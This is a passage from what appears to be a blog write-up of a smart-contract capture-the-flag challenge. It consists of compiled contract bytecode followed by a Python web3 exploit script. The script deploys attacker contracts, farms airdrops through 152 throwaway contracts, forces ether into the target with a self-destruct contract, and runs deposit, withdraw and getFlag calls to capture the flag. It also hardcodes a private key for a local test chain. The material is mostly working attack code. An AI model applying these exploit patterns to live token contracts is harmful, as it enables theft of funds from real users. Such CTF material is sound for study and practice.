20191906000526020600020905b815481529060010190602001808311611b6257829003601f168201915b5050505050905084565b60018114611b9657600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611be357600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c339190612d90565b92505081905550611c67600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383612201565b50565b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce390613949565b60405180910390fd5b6001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d819190612d90565b92505081905550565b61012c811115611dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc6906139b5565b60405180910390fd5b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600a811015611e2857620f42409150611e4f565b600a8110158015611e3a575060e98111155b15611e49576127109150611e4e565b600191505b5b60008284611e5d9190613811565b905081811115611e6c57600080fd5b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ebb9190613143565b92505081905550611eef600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163386612201565b50505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561201a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201190613a47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561208a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208190613ad9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161216891906128bf565b60405180910390a3505050565b60006121818484611f1b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146121fb57818110156121ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e490613b45565b60405180910390fd5b6121fa8484848403611faa565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226890613bd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d890613c69565b60405180910390fd5b6122ec8383836125d0565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236990613cfb565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161246091906128bf565b60405180910390a36124738484846125d5565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e090613d67565b60405180910390fd5b6124f5600083836125d0565b80600a60008282546125079190612d90565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125b891906128bf565b60405180910390a36125cc600083836125d5565b5050565b505050565b505050565b8280546125e690612e15565b90600052602060002090601f016020900481019282612608576000855561264f565b82601f1061262157805160ff191683800117855561264f565b8280016001018555821561264f579182015b8281111561264e578251825591602001919060010190612633565b5b50905061265c9190612660565b5090565b5b80821115612679576000816000905550600101612661565b5090565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b6126a481612691565b81146126af57600080fd5b50565b6000813590506126c18161269b565b92915050565b6000602082840312156126dd576126dc612687565b5b60006126eb848285016126b2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561272e578082015181840152602081019050612713565b8381111561273d576000848401525b50505050565b6000601f19601f8301169050919050565b600061275f826126f4565b61276981856126ff565b9350612779818560208601612710565b61278281612743565b840191505092915050565b600060208201905081810360008301526127a78184612754565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127da826127af565b9050919050565b6127ea816127cf565b81146127f557600080fd5b50565b600081359050612807816127e1565b92915050565b6000806040838503121561282457612823612687565b5b6000612832858286016127f8565b9250506020612843858286016126b2565b9150509250929050565b60008115159050919050565b6128628161284d565b82525050565b600060208201905061287d6000830184612859565b92915050565b60006020828403121561289957612898612687565b5b60006128a7848285016127f8565b91505092915050565b6128b981612691565b82525050565b60006020820190506128d460008301846128b0565b92915050565b600080fd5b6000608082840312156128f5576128f46128da565b5b81905092915050565b60006020828403121561291457612913612687565b5b600082013567ffffffffffffffff8111156129325761293161268c565b5b61293e848285016128df565b91505092915050565b6000806000606084860312156129605761295f612687565b5b600061296e868287016127f8565b935050602061297f868287016127f8565b9250506040612990868287016126b2565b9150509250925092565b600060ff82169050919050565b6129b08161299a565b82525050565b60006020820190506129cb60008301846129a7565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a1382612743565b810181811067ffffffffffffffff82111715612a3257612a316129db565b5b80604052505050565b6000612a4561267d565b9050612a518282612a0a565b919050565b600067ffffffffffffffff821115612a7157612a706129db565b5b612a7a82612743565b9050602081019050919050565b82818337600083830152505050565b6000612aa9612aa484612a56565b612a3b565b905082815260208101848484011115612ac557612ac46129d6565b5b612ad0848285612a87565b509392505050565b600082601f830112612aed57612aec6129d1565b5b8135612afd848260208601612a96565b91505092915050565b60008060408385031215612b1d57612b1c612687565b5b600083013567ffffffffffffffff811115612b3b57612b3a61268c565b5b612b4785828601612ad8565b925050602083013567ffffffffffffffff811115612b6857612b6761268c565b5b612b7485828601612ad8565b9150509250929050565b612b87816127cf565b82525050565b6000602082019050612ba26000830184612b7e565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612bcf82612ba8565b612bd98185612bb3565b9350612be9818560208601612710565b612bf281612743565b840191505092915050565b6000608082019050612c1260008301876128b0565b612c1f60208301866128b0565b612c2c6040830185612b7e565b8181036060830152612c3e8184612bc4565b905095945050505050565b60008060408385031215612c6057612c5f612687565b5b6000612c6e858286016127f8565b9250506020612c7f858286016127f8565b9150509250929050565b7f61757468206661696c0000000000000000000000000000000000000000000000600082015250565b6000612cbf6009836126ff565b9150612cca82612c89565b602082019050919050565b60006020820190508181036000830152612cee81612cb2565b9050919050565b7f616c726561647920617574686400000000000000000000000000000000000000600082015250565b6000612d2b600d836126ff565b9150612d3682612cf5565b602082019050919050565b60006020820190508181036000830152612d5a81612d1e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d9b82612691565b9150612da683612691565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ddb57612dda612d61565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612e2d57607f821691505b60208210811415612e4157612e40612de6565b5b50919050565b600080fd5b600082356001608003833603038112612e6857612e67612e47565b5b80830191505092915050565b600080fd5b600082356001608003833603038112612e9557612e94612e74565b5b82810191505092915050565b6000612eb060208401846126b2565b905092915050565b612ec181612691565b82525050565b6000612ed660208401846127f8565b905092915050565b612ee7816127cf565b82525050565b600080fd5b600080fd5b60008083356001602003843603038112612f1457612f13612e74565b5b83810192508235915060208301925067ffffffffffffffff821115612f3c57612f3b612eed565b5b600182023603841315612f5257612f51612ef2565b5b509250929050565b600082825260208201905092915050565b6000612f778385612f5a565b9350612f84838584612a87565b612f8d83612743565b840190509392505050565b600060808301612fab6000840184612ea1565b612fb86000860182612eb8565b50612fc66020840184612ea1565b612fd36020860182612eb8565b50612fe16040840184612ec7565b612fee6040860182612ede565b50612ffc6060840184612ef7565b858303606087015261300f838284612f6b565b925050508091505092915050565b600082905092915050565b6130318161299a565b811461303c57600080fd5b50565b60008135905061304e81613028565b92915050565b6000613063602084018461303f565b905092915050565b6130748161299a565b82525050565b600082905092915050565b61309160408383612a87565b5050565b606082016130a66000830183613054565b6130b3600085018261306b565b506130c1602083018361307a565b6130ce6020850182613085565b50505050565b6000608083016130e76000840184612e79565b84820360008601526130f98282612f98565b915050613109602084018461301d565b6131166020860182613095565b508091505092915050565b6000602082019050818103600083015261313b81846130d4565b905092915050565b600061314e82612691565b915061315983612691565b92508282101561316c5761316b612d61565b5b828203905092915050565b6000819050919050565b6000819050919050565b61319c61319782613177565b613181565b82525050565b6000819050919050565b6131bd6131b882612691565b6131a2565b82525050565b60006131cf828561318b565b6020820191506131df82846131ac565b6020820191508190509392505050565b7f70617373776f7264206572726f722c2061757468206661696c00000000000000600082015250565b60006132256019836126ff565b9150613230826131ef565b602082019050919050565b6000602082019050818103600083015261325481613218565b9050919050565b7f6e65656420707265206175746800000000000000000000000000000000000000600082015250565b6000613291600d836126ff565b915061329c8261325b565b602082019050919050565b600060208201905081810360008301526132c081613284565b9050919050565b7f6c6f616e206b6579206572726f72000000000000000000000000000000000000600082015250565b60006132fd600e836126ff565b9150613308826132c7565b602082019050919050565b6000602082019050818103600083015261332c816132f0565b9050919050565b7f6861636b657220676574206f7574000000000000000000000000000000000000600082015250565b6000613369600e836126ff565b915061337482613333565b602082019050919050565b600060208201905081810360008301526133988161335c565b9050919050565b600080fd5b600080fd5b600067ffffffffffffffff8211156133c4576133c36129db565b5b6133cd82612743565b9050602081019050919050565b60006133ed6133e8846133a9565b612a3b565b905082815260208101848484011115613409576134086129d6565b5b613414848285612a87565b509392505050565b600082601f830112613431576134306129d1565b5b81356134418482602086016133da565b91505092915050565b6000608082840312156134605761345f61339f565b5b61346a6080612a3b565b9050600061347a848285016126b2565b600083015250602061348e848285016126b2565b60208301525060406134a2848285016127f8565b604083015250606082013567ffffffffffffffff8111156134c6576134c56133a4565b5b6134d28482850161341c565b60608301525092915050565b60006134ea368361344a565b9050919050565b600067ffffffffffffffff82111561350c5761350b6129db565b5b602082029050919050565b600080fd5b61352581613177565b811461353057600080fd5b50565b6000813590506135428161351c565b92915050565b600061355b613556846134f1565b612a3b565b9050806020840283018581111561357557613574613517565b5b835b8181101561359e578061358a8882613533565b845260208401935050602081019050613577565b5050509392505050565b600082601f8301126135bd576135bc6129d1565b5b60026135ca848285613548565b91505092915050565b6000606082840312156135e9576135e861339f565b5b6135f36040612a3b565b905060006136038482850161303f565b6000830152506020613617848285016135a8565b60208301525092915050565b60006060828403121561363957613638612687565b5b6000613647848285016135d3565b91505092915050565b7f796f75206861766520616c7265616479206c6f616e6564000000000000000000600082015250565b60006136866017836126ff565b915061369182613650565b602082019050919050565b600060208201905081810360008301526136b581613679565b9050919050565b7f6c6f616e20616d6f756e74206572726f72000000000000000000000000000000600082015250565b60006136f26011836126ff565b91506136fd826136bc565b602082019050919050565b60006020820190508181036000830152613721816136e5565b9050919050565b600081905092915050565b50565b6000613743600083613728565b915061374e82613733565b600082019050919050565b600061376482613736565b9150819050919050565b600060408201905081810360008301526137888185612754565b9050818103602083015261379c8184612754565b90509392505050565b7f6661696c20746f2073616c650000000000000000000000000000000000000000600082015250565b60006137db600c836126ff565b91506137e6826137a5565b602082019050919050565b6000602082019050818103600083015261380a816137ce565b9050919050565b600061381c82612691565b915061382783612691565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138605761385f612d61565b5b828202905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006138c76025836126ff565b91506138d28261386b565b604082019050919050565b600060208201905081810360008301526138f6816138ba565b9050919050565b7f796f752063616e206f6e6c79206465706f736974206f6e636500000000000000600082015250565b60006139336019836126ff565b915061393e826138fd565b602082019050919050565b6000602082019050818103600083015261396281613926565b9050919050565b7f6d61782062757920636f756e7420697320333030000000000000000000000000600082015250565b600061399f6014836126ff565b91506139aa82613969565b602082019050919050565b600060208201905081810360008301526139ce81613992565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613a316024836126ff565b9150613a3c826139d5565b604082019050919050565b60006020820190508181036000830152613a6081613a24565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ac36022836126ff565b9150613ace82613a67565b604082019050919050565b60006020820190508181036000830152613af281613ab6565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613b2f601d836126ff565b9150613b3a82613af9565b602082019050919050565b60006020820190508181036000830152613b5e81613b22565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613bc16025836126ff565b9150613bcc82613b65565b604082019050919050565b60006020820190508181036000830152613bf081613bb4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613c536023836126ff565b9150613c5e82613bf7565b604082019050919050565b60006020820190508181036000830152613c8281613c46565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613ce56026836126ff565b9150613cf082613c89565b604082019050919050565b60006020820190508181036000830152613d1481613cd8565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613d51601f836126ff565b9150613d5c82613d1b565b602082019050919050565b60006020820190508181036000830152613d8081613d44565b905091905056fea26469706673582212204e66ca7410a854236fd845b4d0533742f82c2a5c6a30cf3ed485526b62f94fdd64736f6c634300080c0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000001e24000000000000000000000000000000000000000000000000000000000000000066b6b66696e65000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066b6b66696e650000000000000000000000000000000000000000000000000000'
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['ctf.sol:MyToken']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def deploy_attack():
compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
data = compiled_sol['attack.sol:attack']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['attack.sol:attack']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def deploy_selftocode():
compiled_sol = compile_files(["selftocode.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
data = compiled_sol['selftocode.sol:selftode']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, Web3.fromWei(100000000000000000,'ether'))
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['selftocode.sol:selftode']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def get_Secret(location : int):
slot = web3.eth.getStorageAt(ctf_address,location)
print(bytesTohex(slot))
def setMyToken(attack_address):
# attack.setMyToken()
data = "0xbc734d52000000000000000000000000" + ctf_address[2:]
airdopHunting = generate_tx(chain_id, attack_address, data, 0)
sign_and_send(airdopHunting)

def transf(toaccack,address):
# attack.transf()
functionSign = HexBytes(web3.sha3(text='transf(address,uint)')).hex()[0:10]
data = "0x22cbeb4f000000000000000000000000{}0000000000000000000000000000000000000000000000000000000000000002".format(address[2:])
airdopHunting = generate_tx(chain_id, toaccack, data, 0)
sign_and_send(airdopHunting)

def airdopHunting(i):
for i in range(0,i):
attack_address, attack_abi = deploy_attack()
attack_instance = web3.eth.contract(address=attack_address, abi=ctf_abi)
setMyToken(attack_address)

# attack.airdopHunting()
functionSign = HexBytes(web3.sha3(text='airdopHunting()')).hex()[0:10]
airdopHunting = generate_tx(chain_id, attack_address, "0xc304e159", 0)
sign_and_send(airdopHunting)
transf(attack_address,exp_address)
def selftode():
selftode_address, selftode_abi = deploy_selftocode()
selftode_instance = web3.eth.contract(address=selftode_address, abi=selftode_abi)
# print(selftode_instance.all_functions())
print("[+] selftode_address is " + str(web3.eth.getBalance(selftode_address)))
selftode_instance.functions.tran(ctf_address).call()

data = "0x5b2d937e000000000000000000000000" + ctf_address[2:]
functionSign = HexBytes(web3.sha3(text='tran(address)')).hex()[0:10]
attack = generate_tx(chain_id, selftode_address, data ,0)
sign_and_send(attack)


if __name__ == '__main__':
# exp()
solcx.install_solc('0.8.12')
rpc = "http://127.0.0.1:8545"
web3 = Web3(HTTPProvider(rpc))
private_key = '8af7453279f445ed7ef7972de0a8c5c454d9009b4fe95de83606da95f7559685'
acct = web3.eth.account.from_key(private_key)
account_address = acct.address
chain_id = 5777
print("[+] account_address is " + str(account_address))
print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))

ctf_address,ctf_abi = deploy_ctf()

ctf_instance = web3.eth.contract(address=ctf_address, abi=ctf_abi)
# ctf_address = "0x67013889C2812055E10FAc1a09a1023A04ACE194"
print(ctf_instance.all_functions())
print("[+] ctf_address is " + str(ctf_address))

exp_address, exp_abi = deploy_attack()
# exp_address = "0xE7e05409e019CEA7E920A9BcFdf0bdD1eB2cD35a"
exp_instance = web3.eth.contract(address=exp_address, abi=exp_abi)
print("[+] exp_address is " + str(exp_address))
setMyToken(exp_address)

selftode()
print("[+] ctf_address is " + str(web3.eth.getBalance(ctf_address)))
airdopHunting(152)
# time.sleep(10)

# ctf.getBalance(address)
print(ctf_instance.functions.balanceOf(exp_address).call())
# secret_value = get_Secret(15)

# attack.makedeposit()
functionSign = HexBytes(web3.sha3(text='makedeposit()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
sign_and_send(attack)

# attack.get_ebalances
functionSign = HexBytes(web3.sha3(text='get_ebalances()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
sign_and_send(attack)
print("[+] _ebalancesOf(exp_address) is " + str(ctf_instance.functions._ebalances(exp_address).call()))

# attack.makewithdraw
functionSign = HexBytes(web3.sha3(text='makewithdraw()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
sign_and_send(attack)
print("[+] _flag(exp_address) is " + str(ctf_instance.functions._flag(exp_address).call()))

# attack.getFlag
functionSign = HexBytes(web3.sha3(text='getFlag()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
flag = sign_and_send(attack)
print(ctf_instance.events.sendflag().processLog(flag["logs"][0]))



本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!